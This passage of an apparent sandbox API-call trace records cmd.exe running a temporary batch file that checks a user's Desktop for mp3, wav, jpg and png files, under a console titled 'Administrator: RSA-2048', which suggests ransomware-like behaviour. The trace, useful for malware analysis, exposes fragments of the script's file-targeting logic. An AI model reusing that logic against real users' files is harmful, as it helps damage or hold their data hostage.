0x4e0000 [0037.544] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.544] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.544] GetProcessHeap () returned 0x4e0000 [0037.544] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.544] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.544] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.544] GetProcessHeap () returned 0x4e0000 [0037.544] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.544] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.544] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.544] GetProcessHeap () returned 0x4e0000 [0037.544] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.544] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.545] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.545] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.545] GetProcessHeap () returned 0x4e0000 [0037.545] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.545] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.545] GetProcessHeap () returned 0x4e0000 [0037.545] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.545] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.545] GetProcessHeap () returned 0x4e0000 [0037.545] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.545] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.546] _tell (_FileHandle=3) returned 322 [0037.546] _close (_FileHandle=3) returned 0 [0037.546] GetFullPathNameW (in: lpFileName="*.mp3", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp3", lpFilePart=0x41eea8*="*.mp3") returned 0x2b [0037.546] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.546] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp3", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.546] GetLastError () returned 0x2 [0037.546] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.546] GetLastError () returned 0x6 [0037.546] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.546] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.547] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.547] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.547] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.547] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.547] SetConsoleInputExeNameW () returned 0x1 [0037.547] GetConsoleOutputCP () returned 0x1b5 [0037.548] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.548] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.548] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.548] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.548] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.548] SetFilePointer (in: hFile=0x74, lDistanceToMove=322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x142 [0037.548] GetProcessHeap () returned 0x4e0000 [0037.548] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.548] GetProcessHeap () returned 0x4e0000 [0037.548] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.548] GetProcessHeap () returned 0x4e0000 [0037.548] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.548] GetProcessHeap () returned 0x4e0000 [0037.548] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.548] GetProcessHeap () returned 0x4e0000 [0037.548] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.548] GetProcessHeap () returned 0x4e0000 [0037.548] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.548] GetProcessHeap () returned 0x4e0000 [0037.549] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.549] GetProcessHeap () returned 0x4e0000 [0037.549] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.549] GetProcessHeap () returned 0x4e0000 [0037.549] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.549] GetProcessHeap () returned 0x4e0000 [0037.549] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.549] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.549] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x142 [0037.549] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.549] SetFilePointer (in: hFile=0x74, lDistanceToMove=324, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x144 [0037.549] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.mp3 goto mp3\r\n\r\n") returned 2 [0037.549] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.549] GetFileType (hFile=0x74) returned 0x1 [0037.549] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.549] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x144 [0037.549] GetProcessHeap () returned 0x4e0000 [0037.549] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.549] GetProcessHeap () returned 0x4e0000 [0037.550] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.550] _tell (_FileHandle=3) returned 324 [0037.550] _close (_FileHandle=3) returned 0 [0037.550] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.550] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.550] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.550] SetFilePointer (in: hFile=0x74, lDistanceToMove=324, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x144 [0037.550] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.550] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x144 [0037.550] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.550] SetFilePointer (in: hFile=0x74, lDistanceToMove=349, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15d [0037.550] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.wav goto wav\r\n\r\n") returned 25 [0037.551] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.551] GetFileType (hFile=0x74) returned 0x1 [0037.551] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.551] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15d [0037.551] GetProcessHeap () returned 0x4e0000 [0037.551] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.551] GetProcessHeap () returned 0x4e0000 [0037.551] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.551] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.551] GetProcessHeap () returned 0x4e0000 [0037.551] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.551] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.551] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.551] GetProcessHeap () returned 0x4e0000 [0037.551] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.551] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.551] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.551] GetProcessHeap () returned 0x4e0000 [0037.551] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.552] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.552] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.552] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.552] GetProcessHeap () returned 0x4e0000 [0037.552] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.552] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.552] GetProcessHeap () returned 0x4e0000 [0037.552] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.552] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.552] GetProcessHeap () returned 0x4e0000 [0037.552] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.552] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.553] _tell (_FileHandle=3) returned 349 [0037.553] _close (_FileHandle=3) returned 0 [0037.554] GetFullPathNameW (in: lpFileName="*.wav", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.wav", lpFilePart=0x41eea8*="*.wav") returned 0x2b [0037.554] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.554] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.wav", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.554] GetLastError () returned 0x2 [0037.554] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.554] GetLastError () returned 0x6 [0037.554] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.554] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.555] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.555] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.555] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.555] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.555] SetConsoleInputExeNameW () returned 0x1 [0037.555] GetConsoleOutputCP () returned 0x1b5 [0037.556] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.556] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.556] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.556] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.556] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.556] SetFilePointer (in: hFile=0x74, lDistanceToMove=349, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15d [0037.556] GetProcessHeap () returned 0x4e0000 [0037.556] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.556] GetProcessHeap () returned 0x4e0000 [0037.556] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.556] GetProcessHeap () returned 0x4e0000 [0037.556] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.556] GetProcessHeap () returned 0x4e0000 [0037.556] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.556] GetProcessHeap () returned 0x4e0000 [0037.556] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.556] GetProcessHeap () returned 0x4e0000 [0037.556] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.556] GetProcessHeap () returned 0x4e0000 [0037.557] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.557] GetProcessHeap () returned 0x4e0000 [0037.557] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.557] GetProcessHeap () returned 0x4e0000 [0037.557] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.557] GetProcessHeap () returned 0x4e0000 [0037.557] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.557] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.557] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15d [0037.557] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.557] SetFilePointer (in: hFile=0x74, lDistanceToMove=351, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15f [0037.557] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.wav goto wav\r\n\r\n") returned 2 [0037.557] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.557] GetFileType (hFile=0x74) returned 0x1 [0037.557] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.557] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15f [0037.557] GetProcessHeap () returned 0x4e0000 [0037.557] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.557] GetProcessHeap () returned 0x4e0000 [0037.557] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.558] _tell (_FileHandle=3) returned 351 [0037.558] _close (_FileHandle=3) returned 0 [0037.558] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.558] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.558] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.558] SetFilePointer (in: hFile=0x74, lDistanceToMove=351, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15f [0037.558] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.558] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15f [0037.558] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.558] SetFilePointer (in: hFile=0x74, lDistanceToMove=376, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x178 [0037.558] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.jpg goto jpg\r\n\r\n") returned 25 [0037.558] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.559] GetFileType (hFile=0x74) returned 0x1 [0037.559] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.559] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x178 [0037.559] GetProcessHeap () returned 0x4e0000 [0037.559] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.559] GetProcessHeap () returned 0x4e0000 [0037.559] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.559] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.559] GetProcessHeap () returned 0x4e0000 [0037.559] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.559] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.559] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.559] GetProcessHeap () returned 0x4e0000 [0037.559] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.559] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.559] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.559] GetProcessHeap () returned 0x4e0000 [0037.559] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.559] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.559] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.559] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.559] GetProcessHeap () returned 0x4e0000 [0037.559] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.560] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.560] GetProcessHeap () returned 0x4e0000 [0037.560] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.560] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.560] GetProcessHeap () returned 0x4e0000 [0037.560] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.560] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.561] _tell (_FileHandle=3) returned 376 [0037.561] _close (_FileHandle=3) returned 0 [0037.561] GetFullPathNameW (in: lpFileName="*.jpg", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.jpg", lpFilePart=0x41eea8*="*.jpg") returned 0x2b [0037.561] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.561] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.jpg", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0x4f4c18 [0037.561] FindClose (in: hFindFile=0x4f4c18 | out: hFindFile=0x4f4c18) returned 1 [0037.561] GetConsoleTitleW (in: lpConsoleTitle=0x41f098, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0037.561] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1c) returned 0x4e0880 [0037.561] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x12) returned 0x4f4c18 [0037.561] GetProcessHeap () returned 0x4e0000 [0037.562] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4c18) returned 0x12 [0037.562] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1c) returned 0x4e0880 [0037.562] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41ede0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.562] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.562] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.562] SetFilePointer (in: hFile=0x74, lDistanceToMove=376, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x178 [0037.562] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.562] GetFileSize (in: hFile=0x74, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x262d [0037.562] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.562] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x178 [0037.562] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.562] GetFileType (hFile=0x74) returned 0x1 [0037.562] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x178 [0037.562] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.562] SetFilePointer (in: hFile=0x74, lDistanceToMove=378, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x17a [0037.562] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\npg") returned 2 [0037.562] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.562] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17a [0037.563] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.563] GetFileType (hFile=0x74) returned 0x1 [0037.563] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17a [0037.563] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.563] SetFilePointer (in: hFile=0x74, lDistanceToMove=403, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x193 [0037.563] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.png goto png\r\ns\r\n") returned 25 [0037.563] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.563] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x193 [0037.563] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.563] GetFileType (hFile=0x74) returned 0x1 [0037.563] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x193 [0037.563] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, 